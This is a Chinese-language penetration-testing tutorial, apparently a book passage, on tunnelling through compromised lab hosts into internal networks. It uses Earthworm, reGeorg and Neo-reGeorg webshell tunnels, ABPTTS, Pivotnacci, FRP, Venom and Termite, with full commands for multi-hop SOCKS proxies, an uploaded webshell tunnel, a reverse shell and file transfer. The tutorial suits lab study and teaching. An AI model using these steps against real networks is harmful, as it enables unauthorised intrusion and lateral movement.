4)然后在Web服务器使用EW工具执行ew_for_Win.exe -s lcx_tran 8888 -f 192.168.52.12 7777命令,去连接FTP服务器的7777端口,转发到Web服务器的8888端口如图1-21所示。
图1-21 端口转发
5)接下来在攻击机中修改 proxychains4.conf配置文件,并在其底部添加一行socks5 192.168.0.25 8888参数来完成 proxychains 代理配置,如图1-22所示。
图1-22 配置socks5代理
6)当配置完 proxychains 代理后,即可在攻击机执行proxychains rdesktop 192.168.2.3命令来连接靶机,如图 1-23 所示,通过所建立的 socks 协议隧道,我们可以直接远程连接到“靶机”中。
图1-23 连接成功
6.三层反向代理
根据上述所讲情况,假设PC主机可以出外网,利用EW工具使用反向连接的方式来进行演示三层隧道穿透。
1)在攻击机kali进行设置,执行ew_for_Win.exe -s rcsocks -l 1080 -e 8888命令设置监听本地端口8888指向本地1080端口,如图1-24所示。
图1-24 反向连接
2)在Web服务器设置监听执行ew_for_Win.exe -s lcx_slave -d 192.168.0.58 -e 8888 -f 192.168.52.12 -g 9999命令,将稍后监听到FTP服务器的9999端口流量转发到kali攻击机的8888端口,如图1-25所示。
图1-25 转发端口
3)接下来在FTP服务器设置,将FTP稍后监听7777端口的流量转发给本地的9999端口,执行ew_for_Win.exe -s lcx_listen -l 9999 -e 7777命令,这里是指稍后搭建的隧道流量,会通过本地的7777端口转发到本地的9999端口,如图1-26所示。
图1-26 流量端口转发
4)最后在PC主机设置,执ew_for_Win.exe -s rssocks -d 192.168.1.49 -e 7777命令,将流量转发到FTP服务器的7777端口,此时隧道已经连接通,如图1-27所示。
图1-27 流量端口转发
5)此时隧道已完成,在攻击机中修改 proxychains4.conf配置文件,并在其底部添加一行socks5 127.0.0.1 1080参数来完成proxychains代理配置,如图1-28所示。
图1-28 修改proxychains配置文件
当配置完proxychains代理后,即可在攻击机执行proxychains rdesktop 192.168.2.3命令来连接靶机,如图1-29所示,通过所建立的socks协议隧道,我们可以直接远程连接到靶机。
图 1-29连接内网靶机
(二)通过Earthworm(EW)进行隧道穿透总结
随着隧道技术的不断更新迭代,越来越多的攻击者利用隧道技术攻击企业内网,通过本篇文章从Earthworm(EW)隧道工具的利用方式,并且通过大量的案例来演示了多个实际常见的隧道场景,比如我们通过拿到系统权限后利用多个协议实现隧道穿透、端口转发、内网穿透,总之,希望本篇内容对读者有所帮助。
五. 利用HTTP协议进行隧道穿透
(一)利用HTTP协议进行隧道穿透
WEB tunnel即WEB隧道,可以进行局域网穿透控制,通过web tunnel可以桥接到局域网内的所有网络设备,让远程访问此设备就像在局域网内访问此设备一样。Web隧道允许用户通过HTTP连接发送非HTTP流量,这样就可以在HTTP上携带其他协议数据。Web tunnel适用于当目标开启防火墙时,此时入站和出站连接都受到限制,除了WEB服务的端口(80或443)。Webshell可以用于连接目标主机上的服务,这是目标主机上的本地端口连接,一般都会允许从服务端口读取数据,并将其封装到HTTP上,作为HTTP响应发送到本地代理,整个外部通讯都是通过HTTP协议完成的。
假设在内网渗透中发现主机,经测试发现存在网站,可以通过此站点的HTTP协议去搭建隧道,通过漏洞获取到webshell权限,当拥有webshell权限时就可以利用HTTP协议的webshell tunnel进行搭建,下面用一些案例来演示如何搭建web tunnel,具体实验环境如表1-1所示,实验拓扑如图1-1所示。
图1-1 HTTP协议实验拓扑图
表1-1 HTTP协议实验环境表
主机类型 | IP配置 |
---|---|
攻击机 | 192.168.0.58 |
Web服务器 | 192.168.0.25,192.168.52.11 |
靶机 | 192.168.52.12 |
1.Reduh进行端口转发
Reduh是一款基于WEB服务的端口转发工具,它支持asp、jsp、php脚本环境,由客户端进行连接,客户端需要配置JDK环境,使用前需要获取到目标服务器webshell权限,才可以上传reDuh服务端对应脚本文件,reDuh文件再将内网服务器的端口通过HTTP/HTTPS服务转发到本地,形成一个连通回路。
1)通过上传reDuh.php文件搭建WEB隧道,将靶机的RDP远程连接服务通过reDuh.php文件转发到攻击机。首先检测到目标主机是PHP环境,通过文件上传漏洞获取到webshell权限,之后上传reDuh.php文件到网站根目录下,此时在攻击机访问网站http://192.168.0.25/reDuh.php显示如图1-2 所示结果,即表示文件部署成功。
图1-2 测试访问
2)接下来,我们使用攻击机进入工具目录reDuhClient/dis文件夹下,执行java -jar reDuhClient.jar http://192.168.0.25/reDuh.php命令,对Web服务器进行连接,这里搭建隧道时,默认会使用1010端口。注意,如果隧道连接未成功,有可能是服务端php环境配置问题,我们对Web服务器的PHP扩展设置,对其php.ini文件中的extension=php_sockets.dll代码去掉注释即可,命令执行成功,如图1-3所示。
图1-3 攻击机连接Web服务器
3)此时攻击机的1010端口会开启监听,我们可以利用nc工具连接本地1010端口,执行nc -nv 127.0.0.1 1010命令,即可对正向代理进行管理,执行后如图1-4所示。
图1-4 NC连接服务端
4)这里使用[createTunnel]的方法将靶机的远程连接服务映射到攻击机8888端口,执行[createTunnel]8888:192.168.52.12:3389命令,即可将靶机的3389端口转发到攻击机的8888如图1-5所示。
图1-5 设置端口转发
5)这时靶机的3389端口的远程连接服务已经转发到本地的8888端口,可以尝试在攻击机中使用rdesktop命令连接本地8888端口,执行rdesktop 127.0.0.1:8888命令,发现可以远程连接,如图1-6所示。
图1-6 测试连接成功
2.ReGeorg进行隧道穿透
ReGeorg是一款利用http协议建立隧道进行数据传输的内网代理工具,依赖python2环境,是reduh的升级版,相对于reduh来说增加了很多特性,比如流量加密、响应码定制等。下载压缩包完成解压后,查看目录结构,可以看到支持3种脚本语言,如图1-7所示。按照web服务对应的脚本语言选择webshell文件上传,进行隧道穿透。
图1-7 reGeorg压缩包文件
1)本次实验环境如图1-1 所示。假设Web服务器是PHP环境,可以使用tunnel.nosocket.php脚本文件,上传文件到Web服务器网站根目录下。成功上传则通过http访问网站此脚本文件,可以看到部署成功,如图1-8所示。
图1-8访问服务器shell文件
2)使用攻击机运行reGeorgSocksProxy.py文件, 执行python2 reGeorgSocksProxy.py -u http://192.168.0.25/tunnel.nosocket.php -p 8888命令,连接tunnel.nosocket.php文件,指定转发流量到攻击机的8888端口,出现如图1-9所示的界面则证明隧道穿透成功。
图1-9 搭建regeorg隧道
- 随后,在攻击机中修改 proxychains4.conf配置文件,并在其底部添加一行socks5127.0.0.1 8888参数来完成 proxychains 代理配置,如下图1-10所示。
图1-10 修改proxychains配置
- 当配置完proxychains代理后,即可在攻击机执行proxychains rdesktop 192.168.52.12命令来连接靶机,通过所建立的 socks协议隧道,直接远程连接到目标服务器,如图1-11 所示。
图1-11隧道连接测试成功
3.Neo-reGeorg加密隧道穿透
Neo-regeorg可以说是Regeorg的重构版,也是一款很实用的WEB隧道工具,在Regeorg的基础上提高隧道的连接安全性、可用性、传输内容保密性,以应对更多的网络环境场景,工具依赖python3环境,它的原理与regeorg相似。
1)本次实验环境如图1-1所示,Neo-Regeorg使用条件和Regeorg类似,这里也是通过webshell将tunnel.php文件上传Web服务器网站服务的根目录下,生成带有密码的服务器脚本文件。执行python neoreg.py generate -k test命令,-k是指定密码,运行后会在当前目录生成文件夹neoreg_servers,文件夹内会有各种环境下的脚本,如图1-12所示。
图1-12 生成Web tunnel文件
2)将生成的文件上传放置到Web服务器下,访问网站下该文件,如图1-13所示。
图1-13 访问服务器webtunnel文件
3)使用Kali攻击机执python neoreg.py -k test -u http://192.168.0.25/tunnel.php -p 8888命令,此时隧道搭建成功,如图1-14所示。
图1-14 利用webtunnel搭建加密隧道
4)随后,在攻击机中修改proxychains4.conf配置文件,并在其底部添加一行socks5127.0.0.1 8888参数来完成proxychains代理配置,如图1-15所示。
图1-15 修改proxychains.conf文件
5)当配置完proxychains代理后,即可在攻击机执行proxychains rdesktop 192.168.52.12命令来连接靶机,通过所建立的socks协议隧道,直接远程连接到目标服务器,如图1-16所示。
图1-16 隧道连接成功
4.Tunna进行隧道穿透
Tunna是一款基于Python语言所开发的隧道工具,它不仅可以用于通过 HTTP来包装和隧道化任何TCP通信,还可以用于绕过防火墙环境中的各种网络限制,其工具结构如图1-17所示。
图1-17 Tunna结构
1)本次实验环境同上,通过webshell管理权限上传conn.php到网站根目录下,就可以通过http协议访问conn.php文件连接受控服务器,然后在攻击机上执行python proxy.py -u http://192.168.0.25/conn.php -l 8888 -a 192.168.52.12 -r 80 –v命令,将靶机里的WEB服务的80端口映射到本地8888端口。-l参数是指监听本地端口,-r参数是指远程转发的端口,-a参数是指转发的地址,-v参数是指详细模式,执行成功如图1-18所示。
图1-18 端口映射
2)攻击机执行成功后,此时端口映射成功,接下来我们在浏览器访问本地8888端口,即可访问到内网靶机的WEB服务,如图1-19所示。
图1-19 映射成功
5.Abptts加密隧道穿透
Abptts工具是一款基于python 2开发的工具,支持asp、jsp脚本环境,可以利用http建立ssl加密的隧道,相对于regeorg更加稳定。但Abptts工具每次只能转发一个端口,在使用上有一定局限性。下面演示Abptts工具隧道穿透。
1)Abptts需要python 2环境,并且需要使用pip2安装依赖包pycryptodome和httplib2。在Kali攻击机上使用git命令把github上的abptts包拉取到本地,执行git clone https://github.com/nccgroup/ABPTTS.git命令之后安装,进入工具目录下使用abpttsfactory.py执行python2 abpttsfactory.py -o webshell命令会生成webshell文件夹,如图1-20所示。
图1-20 利用abptts生成webtunnel文件
2)由于abptts只能生成aspx和jsp脚本,因此本次跳板机使用的是asp+lls环境。为了方便直接把abptts.asp文件放置到根目录,我们通过url访问。如图1-21所示。
图1-21 通过url访问
3)在攻击机执行命令将靶机的3389端口转发到攻击机的5555端口上,执行python2 abpttsclient.py -c webshell/config.txt -u "http://192.168.0.25/abptts.aspx" -f 127.0.0.1:5555/192.168.52.12:3389命令,即可实现端口转发,如图1-22所示。
图1-22 利用webtunnel进行端口转发
4)命令执行后,我们在攻击机执行rdesktop 127.0.0.1:5555命令,即可连接到靶机的3389端口,成功连接如图1-23所示,表示隧道搭建成功。
图1-23隧道连接测试成功
6. Pivotnacci加密隧道穿透
Pivotnacci这款工具一样是通过HTTP协议来搭建隧道的,它通过socks代理,支持socks4、socks5两种协议,并且能为隧道加密,也是一款不错的隧道工具。
1)下载完安装包解压后需要先初始化,使用攻击机在pivotnacci-master文件夹下执行 pip2 install -r requirements.txt命令来下载相关依赖库。然后使用python配置环境,执行python setup.py install命令会生成文件,如图1-24所示。
图1-24 初始化pivitnacci环境
2)使用ls命令显示存在执行安装命令后产生的文件,如图1-25所示。
图1-25 pivitnacci环境搭建完成
3)如果需要使用密码加密,可以在agents/agent.php文件中为AGENT_PASSWORD赋值,这里将密码设置为text,如图1-26所示。
图1-26配置webtunnel文件连接密码
4)设置完成后将agent.php放置在网站根目录下,在攻击机执行./pivotnacci http://192.168.0.25/agent.php -p 6666 --password text -v命令,其中-p 6666是指定转发端口,--password是指自定义密码,执行成功则如图1-27所示。
图1-27 利用webtunnel文件搭建隧道
5)随后,在攻击机中修改 proxychains4.conf配置文件,并在其底部添加一行socks5 127.0.0.1 6666参数来完成proxychains代理配置,如图1-28所示。
wps93
- 当配置完proxychains代理后,即可在攻击机执行proxychains rdesktop 192.168.52.12命令来连接靶机,如图1-29所示,通过所建立的socks协议隧道,可以直接远程连接到靶机。
图1-29 隧道测试连接成功
(二)利用HTTP协议进行隧道穿透总结
随着隧道技术的不断更新迭代,越来越多的攻击者利用隧道技术攻击企业内网,通过本篇文章从利用HTTP协议进行隧道穿透的方式,并且通过大量的案例来演示了多个实际常见的隧道场景,希望本篇内容对读者有所帮助。
六.利用FRP进行隧道穿透
FRP是一个开源、 简洁易用、可用于内网穿透的高性能的反向代理应用,使用GO语言开发,适用于Windows、Linux平台,同时支持TCP、UDP、HTTP、HTTPS等协议,使用前提是需要一台具有公网IP的服务器(即可以通过外网访问)。frp分为服务端frps和客户端frpc,通过将frps服务端部署在外网服务器开启监听端口,客户端即frpc上传在受控者主机去执行连接服务器监听端口进行隧道穿透。下面简单介绍一下frp的基础使用,frp隧道工具实验拓扑如图1-1所示。
图1-1 通过FRP进行隧道穿透
假设我们获取到目标Web服务器的权限后,想要对该目标进行深度渗透获取核心权限,此时可以使用FRP工具进行隧道穿透,利用FRP工具通过各种方式去搭建隧道,具体实验环境如表1-1所示,后续演示会涉及。
表1-1 FRP实验环境表
主机类型 | 服务类型 | IP地址 | 区域 |
---|---|---|---|
Kali 2022 | 攻击机 | 192.168.0.58 | 外网 |
Windows server 2012 | Web服务器 | 192.168.0.25,192.168.52.11 | DMZ区域 |
windows server 2008 | FTP 服务器 | 192.168.52.12,192.168.1.49 | DMZ区域 |
windows 10 | PC主机 | 192.168.1.50,192.168.2.2 | 办公区域 |
Windows server 2012 | 核心服务器 | 192.168.2.3 | 核心区域 |
(一)多级代理
1.一级代理
假设通过其站点漏洞,获取到Web服务器的系统权限,经探测发现FTP服务器并已经获取到了FTP服务器的RDP的凭证,此时需要攻击机和FTP服务器之间通过Web服务器建立隧道。这里需配置frp服务端,在攻击机部署frps和frps.ini配置文件,对配置文件进行设置。frps配置常见参数值可以如表1-2所示。
表1-2 frps配置常见参数
常见参数值 | 作用 |
---|---|
[common] | 声明标识整体不能缺少 |
bind_addr = 0.0.0.0 | 指定服务端绑定的IP |
bind_port = 7000 | 指定侦听本地开放的TCP端口,可以自定义 |
bind_udp_port=7001 | 指定侦听本地开放的UDP端口,可以自定义 |
proxy_bind_addr = 127.0.0.1 | 指定代理将侦听的地址,默认值与绑定地址相同 |
vhost_http_port=80 | 用于侦听的http端口(可选) |
vhost_https_port=443 | 用于侦听的https端口(可选)http/shttps端口可与TCP端口相同 |
max_ports_per_client=0 | 设置每个客户端使用最大端口数,默认值为0表示没有限制 |
dashboard_addr = 0.0.0.0 | 设置frp管理后台界面,服务器绑定地址 |
dashboard_port = 7500 | 设置frp管理后台端口,请按自己需求更改 |
dashboard_user = admin | 设置管理后台用户名,可以自定义 |
dashboard_pwd = admin | 设置管理后台密码,可以自定义 |
log_file = /var/log/frps.log | 日志保存位置,可以自定义修改 |
log_level = info | 日志检测级别,有trace, debug, info, warn, error五个等级 |
log_max_days = 3 | 日志保留天数 |
authentication_method | 指定使用什么身份验证方法对frpc和frps进行身份验证,默认情况下,该值为"token |
authentication_method = token | 指定了"token,则token将被读取到登录消息中, |
authentication_method = oidc | 指定了"oidc"-将使用oidc设置颁发oidc开放ID连接令牌。 |
token = 12345678 | token即身份验证令牌,可自定义 |
1)首先在攻击机上部署frp服务端工具后,我们需要对frp服务端的frps.ini配置文件进行修改,修改后的frps.ini配置文件中的bind_addr参数指的是监听地址,bind_port参数指的是监听端口,如图1-2所示。
图1-2 frps.ini配置文件
2)当配置参数值成功后,在攻击机使用frps服务端执行./frps -c frps.ini"命令,开启服务端监听,如图1-3所示。
图1-3 开启监听
3)接下来通过上传frpc客户端和frpc.ini配置文件到Web服务器,将FTP服务器的远程服务转发到攻击机,这里需要修改客户端配置文件frpc.ini里面的内容,常见的frpc的配置参数如表1-3所示,同时设置frpc配置文件内容,设置server_addr参数指向服务端IP,server_port参数是指连接frps服务端的端口,设置类型为tcp如图1-4所示。
表1-3 配置文件参数
常见参数值 | 作用 |
---|---|
[common] | 声明标识整体不能缺少 |
server_addr = 0.0.0.0 | 设置连接frps的服务器地址 |
server_port = 7000 | 指定侦听服务器开放的TCP端口,可以自定义 |
dial_server_timeout = 10 | 连接到服务器,等待连接完成的最长时间。默认值为10秒。 |
tcp_mux = true | 是否启用tcp复用,默认为true |
dns_server = 8.8.8.8 | 指定一个dns服务器 |
udp_packet_size = 1500 | 指定udp包大小,单位为字节。如果未设置,默认值为1500 |
log_file = ./frps.log | 日志保存位置,可以自定义修改 |
log_level = info | 日志检测级别,有trace, debug, info, warn, error五个等级 |
log_max_days = 3 | 日志保留天数 |
token = 12345678 | 身份验证令牌,token值和frps的token值一致即可连接 |
bandwidth_limit = 1MB | 限制此代理的带宽,单位为KB和MB |
health_check_type = tcp | 启用后端服务的检查,支持“tcp”和“http,frpc将连接本地服务的端口以检测其健康状态 |
health_check_interval_s = 10 | 指定存活探测时间为10秒 |
health_check_max_failed = 3 | 检测如果连续3次失败,代理将从frp中删除 |
health_check_timeout_s=3 | 检查连接超时 |
[ssh] | 代理配置段名称,如果配置user=your_name,则显示为your_name.ssh |
type = tcp | 指定类型tcp|udp|http|https|stcp|xtcp,默认为tcp |
local_ip = 127.0.0.1 | 指定转发本地IP |
local_port = 22 | 自定义端口,指定多个端口如6010-6020,6022,6024-6028 |
remote_port = 6001 | 远程端口监听6001 |
图1-4 frpc.ini配置文件
4)启动frp客户端,在Web服务器运行frpc.exe -c frpc.ini启动客户端命令,出现下面内容证明成功,此时FTP服务器的3389端口已经和攻击机的8081端口建立隧道,如图1-5所示。
图1-5 启动frp客户端
5)在攻击机使用远程服务连接本地的8081端口,即可成功获取到FTP服务器的远程服务权限,连接成功如图1-6所示。
图1-6 远程连接
2.二级代理
当获取到FTP服务器权限后,通过信息收集探测到存在办公区域,已知PC主机有双网卡,并与FTP服务器处于同一个网段,两台主机可以相互访问,而这里需要在PC主机和攻击机之间搭建隧道进行后续利用。
1)在攻击机使用frps开启服务端,进行配置frps.ini文件,如图1-7所示,配置修改完成后在攻击机执行./frps -c frps.ini命令即可开启服务端监听,如图1-8所示。
图1-7 frps配置文件
图1-8运行frps
2)之后在Web服务器配置frp客户端frpc.ini文件,这里修改配置文件内容如图1-9所示,配置完成执行frpc.exe -c frpc.ini命令,将本地8888端口转发到攻击机的的8888端口,如图1-10所示。
图1-9 frpc.ini配置文件
图1-10端口转发
3) 在Web服务器部署frps服务端,修改服务端frps.ini配置文件,如图1-11所示,执行frps.exe -c frps.ini命令开启服务端,这里在Web服务器开启监听7000端口,稍后用于FTP服务器frp客户端连接,执行如图1-12所示。
图1-11 frps.ini配置文件
图1-12 搭建隧道
4)在上文所描述的已经获取FTP服务器管理权限的前提下,上传frp客户端工具,修改frpc.ini配置文件,如图1-13所示,执行frpc -c frpc.exe命令,将FTP服务器本地7777端口进行设置为socks5代理端口,转发到Web服务器开启的服务端7000端口进行连接。如图1-14所示。
图1-13 frpc.ini配置文件
图1-14 端口连接
5)接下来,在攻击机中修改 proxychains4.conf配置文件,并在其底部添加一行socks5 127.0.0.1 8888参数来完成proxychains代理配置,如图1-15所示。
图1-15 修改proxychains配置
6)当配置完proxychains代理后,即可在攻击机执行proxychains rdesktop 192.168.1.50命令来连接PC主机,如图1-16所示,通过所建立的socks议隧道,我们可以直接远程连接到PC主机。
图1-16 远程连接成功
3.三级代理
1)当获取到PC主机权限之后,根据上述拓扑对核心服务器进行后续渗透,通过frp工具搭建三层代理,将其RDP远程服务转发出来,此时使用socks代理的方式类似于上述操作,首先利用公网服务器部署,frps服务端配置如下,开启运行./frps -c frps.ini命令即可,如图1-17、图1-18所示。
图1-17 frps服务端配置
图1-18运行frps服务端
2)在Web服务器部署客户端,先修改frpc.ini配置文件如图1-19所示,执行frpc.exe -c frpc.ini命令,将监听到FTP服务器的7777端口远程转发到攻击机的7777端口,如图1-20所示。
图1-19 配置文件
图1-20 端口远程转发到公网
3)继续在Web服务器部署frp服务端,修改服务端frps.ini配置文件,如图3-220所示,执行frps.exe -c frps.ini命令,在Web服务器部署服务端,开启监听7000端口,如图1-21所示。
图1-21 配置文件
图1-22 搭建隧道
4)在FTP服务器开启客户端,用于连接Web服务器,修改配置文件如图1-23所示,执行frpc -c frpc.ini,将PC主机开启的7777端口转发给Web服务器监听的7777端口。如图1-24所示。
图1-23 配置文件
图1-24 sokcs7777端口转到给Web服务器服务端
5)在FTP服务器开启服务端,修改frps.ini配置文件,如图1-25所示,执行frps -c frps.ini命令,开启FTP服务端监听,如图1-26所示。
图1-25 配置文件
图1-26 FTP服务端开启监听
6)在PC主机上传frp工具,设置客户端配置如图1-27所示,执行frpc -c frpc.ini命令,连接FTP服务器服务端,如图1-28所示。
图1-27 配置文件
图1-28连接FTP服务器服务端
7)在Kali攻击机修改Proxychains代理配置文件,修改为sock5 127.0.0.1 7777,如图1-29所示。
图1-29 修改Proxychains代理配置文件
8)这时可通过攻击机的的7777端口即可访问到核心服务器,在攻击机执行proxychains rdesktop 192.168.2.3命令来连接核心服务器,如图1-30所示,通过所建立的socks 协议隧道,我们可以直接远程连接到核心服务器。
图1-30 远程连接成功
(二)利用FRP隧道穿透总结
随着隧道技术的不断更新迭代,越来越多的攻击者利用隧道技术攻击企业内网,通过本篇文章从利用FRP进行隧道穿透的方式,并且通过大量的案例来演示了多个实际常见的隧道场景,希望本篇内容对读者有所帮助。
七.利用Venom进行隧道穿透
Venom工具也被称为“毒液工具”,它是一款开源的多级代理工具,使用Go语言开发,支持多种平台。Venom可以将多个节点进行连接,并以节点为跳板构建多级代理搭建网络隧道,渗透测试人员可以使用Venom轻松地将网络流量代理到多层内网管理代理节点,利用"毒液"进行可视化网络拓扑、多级Socks5代理、多级端口转发、端口复用(Apache、Mysql等服务)、SSH隧道、交互式Shell、文件的上传和下载、节点间通信加密等。
假设当我们拿下一台Web服务器通过提权获得到Administrator权限,对目标主机信息收集,进行搭建隧道便于后续渗透。此时利用venom工具进行搭建隧道,使用venom工具中Admin服务端进行本地监听,Agent作为客户端在目标主机发起连接。本次实验环境如图1-11所示,本次实验环境表如表1-1所示。
图1-1 通过Venom进行隧道穿透实验拓扑图
表1-1通过Venom进行隧道穿透实验环境表
主机类型 | IP配置 |
---|---|
攻击机 | 192.168.0.58 |
Web服务器 | 192.168.0.25,192.168.52.2 |
靶机 | 192.168.52.3 |
(一)通过Venom进行隧道穿透
1.基础使用
Venom工具支持多款操作系统,它可以跨平台使用,主要是由Admin服务端和Agent客户端组成,作为本地监听连接和主动发起连接使用,下面从Venom工具的基础功能进行讲解,再以正向连接和反向连接为案例进行演示。
1.反向监听
1)首先在攻击机配置,使用venom工具开启服务端监听,执行admin.exe -lport 8888命令,其中的-lport参数指的是监听本地端口,这里指监听本地8888端口,执行结果如图1-2 所示。
图1-2 监听本地端口
2)然后我们通过上传agent客户端到Web服务器,执行agent.exe -rhost 192.168.0.58 -rport 8888命令,让Web服务器主动发起连接攻击机开启的监听,建立起隧道通讯,执行成功如图1-3 所示。
图1-3 隧道通讯
3)此时服务端会接收建立隧道信息,使用show命令可以显示网络拓扑,如图1-4所示。
图1-4 查看隧道信息
2.正向监听
和上述使用场景类似,当拿下Web服务器权限后,通过探测发现Web服务器不出网,但能正常访问主机,可以使用venom工具以正向连接的方式搭建隧道进行渗透。
1)上传Agent文件到Web服务器,执行agent.exe -lport 8888命令开启客户端监听。如图1-5所示。
图1-5开启目标主机监听
2)然后在攻击机使用Admin服务端发起连接,执行admin.exe -rhost 192.168.0.25 -rport 8888建立隧道通讯,其中-rhost参数指向远程连接ip,-rport参数指连接的端口。如图1-6所示。
图1-6 建立隧道通讯
3)接下来在攻击机使用show命令验证,可以看到隧道建立成功,如图1-7所示。
图1-7 隧道搭建成功
3.端口复用
1)假设上传webshell后,Web服务器只有80端口的开放http服务可以利用,下面我们通过venom工具的SO_REUSEPORT"和"SO_REUSEADDR选项进行端口复用,Windows服务器下复用apache中间件的http服务80端口,不影响正常使用。
2)上传 agent文件到Web服务器,执行agent.exe -lhost 192.168.0.25 -reuse-port 80命令,设置80端口的复用,如图1-8所示。
图1-8 上传agent
3)在攻击机使用admin服务端执行admin.exe -rhost 192.168.0.25 -rport 80命令,来进行端口复用,如图1-9所示。
图1-9 端口复用
4.节点间通信加密
1)在节点通讯请求和响应的过程中,如果消息中途被劫持或篡改后果不堪设想,而我们的Venom工具支持隧道通信加密,对通讯数据进行加密保护,本地通过-passwd参数选项指定密码进行设置,密码用于生成AES加密所需的密钥,下面来演示通过-passwd参数指定密码为Admin123.,在攻击机使用venom工具服务端执行admin.exe -lport 8888 -passwd Admin123.命令,为隧道进行加密。如图1-10所示。
图1-10 隧道加密
2)我们在Web服务器使用venom工具客户端agent文件,指定相同的密码与服务端admin连接,执行agent -rhost 192.168.0.58 -rport 8888 -passwd Admin123. 命令,执行成功即可达到隧道节点通讯加密的效果,如图1-11所示。
图1-11 隧道节点通讯加密
2.正向连接
正向连接实验环境如图1-12所示,假设前提是获取到Web服务器管理权限后,可以使用venom工具进行隧道利用,具体实验环境如表1-2所示。
图1-12 实验环境
表1-2 正向连接实验环境
主机类型 | 网络配置 |
---|---|
攻击机 | 192.168.0.58 |
Web服务器 | 192.168.0.25 192.168.52.11 |
靶机 | 192.68.52.12 |
1)上传venom工具到Web服务器之后执行agent.exe -lport 8888命令,开启本地客户端监听,我们以正向连接的方式搭建隧道,执行成功如图1-13所示。
图1-13 本地监听
2)攻击机使用venom服务端执行./admin -rhost 192.168.0.25 -rport 8888命令进行连接,其中-rhost参数是指设置远程服务器的端口,此时会连接监听,输入show查看连接情况,如果有A---1,证明已经有客户端连接成功,执行如图1-14所示。
图1-14 连接成功
3)接下来尝试连接socks隧道,输入goto 1命令连接这个客户端,再输入socks 1024设置socks隧道自定义端口,此时已经配置完成socks隧道,如图1-15所示。
图1-15 隧道搭建成功
4)随后,在攻击机中修改proxychains4.conf配置文件,并在其底部添加一行socks5127.0.0.1 1024参数来完成 proxychains 代理配置,如图1-16所示。
图1-16 配置socks5代理
5)当配置完proxychains代理后,即可在攻击机执行proxychains rdesktop 192.168.52.12命令来连接靶机,如图1-17 所示,通过所建立的socks协议隧道,我们可以直接远程连接到靶机。
图1-17 连接靶机
3.反向连接
1)反向连接方式和上述类似,适用于出网的情况,我们在攻击机开启监听服务端8888端口,执行./admin -lport 8888命令设置开启服务端监听,如图1-18所示。
图1-18 监听8888端口
2)完成后,我们上传客户端agent文件到Web服务器,在WEB 服务器执行agent.exe -rhost 192.168.0.58 -rport 8888,其中远程连接的IP 192.168.0.58,在实战中需要公网IP,成功连接如图1-19 所示。
图1-19 成功连接
3)此时已经是搭建好了隧道,输入show查看连接情况,有回显A---1,使用goto 1去连接客户端,使用socks 1024 来搭建socks隧道,执行命令如图1-20 所示。
图1-20 搭建socks隧道
4)随后,在攻击机中修改 proxychains4.conf配置文件,并在其底部添加一行socks5127.0.0.1 1024参数来完成proxychains代理配置,如图1-21所示。
图1-21 配置socks5代理
5)当配置完proxychains代理后,即可在攻击机执行proxychains rdesktop 192.168.52.12命令来连接靶机,如图1-22所示,通过所建立的socks协议隧道,我们可以直接远程连接到靶机。
图1-22 连接靶机
(二)利用Venom隧道穿透总结
随着隧道技术的不断更新迭代,越来越多的攻击者利用隧道技术攻击企业内网,通过本篇文章从利用Venom进行隧道穿透的方式,并且通过大量的案例来演示了多个实际常见的隧道场景,希望本篇内容对读者有所帮助。
八.利用Termite进行隧道穿透
(一) 利用Termite进行隧道穿透
Termite是一款内网穿透工具,该工具比较小巧不到1MB大小,但功能较为强大,分为管理端admin和客户端agent。它支持多平台、在复杂内网环境下Termite渗透适用性更强,操作也极为简便,下述以它为案例进行隧道穿透。实验拓扑如图1-1所示。
图1-1通过Termite进行隧道穿透
假设我们获取到Web服务器的权限后,想要对靶机获取权限,此时可以使用Termite工具进行隧道穿透,利用Termite工具下载靶机的核心文件,具体环境如表1-1所示,下面进行演示。
表1-1 Termite进行隧道穿透实验环境
主机类型 | IP配置 |
---|---|
Kali攻击机 | 192.168.0.58 |
Web服务器 | 192.168.0.25 192.168.52.11 |
靶机 | 192.68.52.12 |
1.目标在公网
1)首先上传agent客户端到Web服务器,执行agent.exe -l 8888 ,开启监听Web服务器8888端口,如图1-2所示。
图1-2 监听Web服务器8888端口
2)我们在Kali攻击机使用admin连接Web服务器开启的监听端口,执行./admin_linux_x86_64 -c 192.168.0.25 -p 8888命令,成功连接Web服务器后,使用show参数查看当前页面下存活的节点,如图1-3所示。
图1-3反向连接过程
2.目标在内网
假设通过Web服务器获取到靶机的系统执行权限,由于靶机位处于内网,且它无法访问外网,可以根据下面步骤进行操作。
1)首先在Web服务器上传agent工具来开启监听8888端口,执行agent_Win32.exe -l 8888命令,开启监听,如图1-4所示。
图1-4 监听本地端口
2)Kali攻击机使用admin服务端,执行./admin_linux_x86_64 -c 192.168.0.25 -p 8888命令连接Web服务器开启监听的8888端口。如图1-5所示。
图1-5 连接Web服务器
3)通过上传agent客户端到靶机,在靶机执行agent_win32.exe -c 192.168.52.11 -p 8888命令。注意,192.168.52.11是Web服务器内网的网卡。如图1-6所示。
图1-6 连接另一个网卡
4)此时在kali主机使用show命令查看,这里可以看到与靶机搭建隧道成功,下方会显示一个节点,如图1-7所示。
图1-7隧道搭建成功
3.shell反弹
1)利用Termite工具根据上述环境进行shell反弹实验,将Web服务器的Shell反弹到Kali攻击机的1024端口,执行shell 1024命令即可,如图1-8所示。
图1-8 shell反弹到本地1024端口
2)在kali工具机使用nc工具进行测试, 执行nc 127.0.0.1 1024命令,可以看到已经将Web服务器的shell反弹到攻击机,如图1-9所示。
图1-9 shell反弹成功
4.端口转发
1)利用Termite工具的lcxtran 参数进行端口转发操作,lcxtran参数使用方法即“lcxtran 本地端口 目标ip 目标端口”,使用goto命令先进入Web服务器节点,然后执行lcxtran 8080 192.168.0.25 80,此时可以将Web服务器的80端口,转发到kali攻击机的8080端口,如图1-10所示。
图1-10端口转发
2)我们访问kali攻击机本地的8080端口,即可访问Web服务器的80端口服务,如图1-11所示。
图1-11访问Web服务器
5.上传下载文件
Termite工具也可以用于上传下载文件,admin包含upfile上传参数使用方法,使用方法也很简单,使用参数即“upfile 本地文件路径 目标路径”,downfile下载参数使用方法即“downfile 目标文件路径 本地存放路径”。
1)使用Kali攻击机上传file.txt文件到Web服务器,利用Termite工具的upfile参数,先使用goto 1命令进入节点,执行upfile /boot/1.txt C:\1.txt 命令将目录下的1.txt文件上传到Web服务器的C盘下。如图1-12所示。
图1-12下载文件
2)在Web服务器使用命令行工具,进入C盘,dir查看当前目录,此时发现1.txt已经上传成功,如图1-13所示。
图1-13 C盘目录
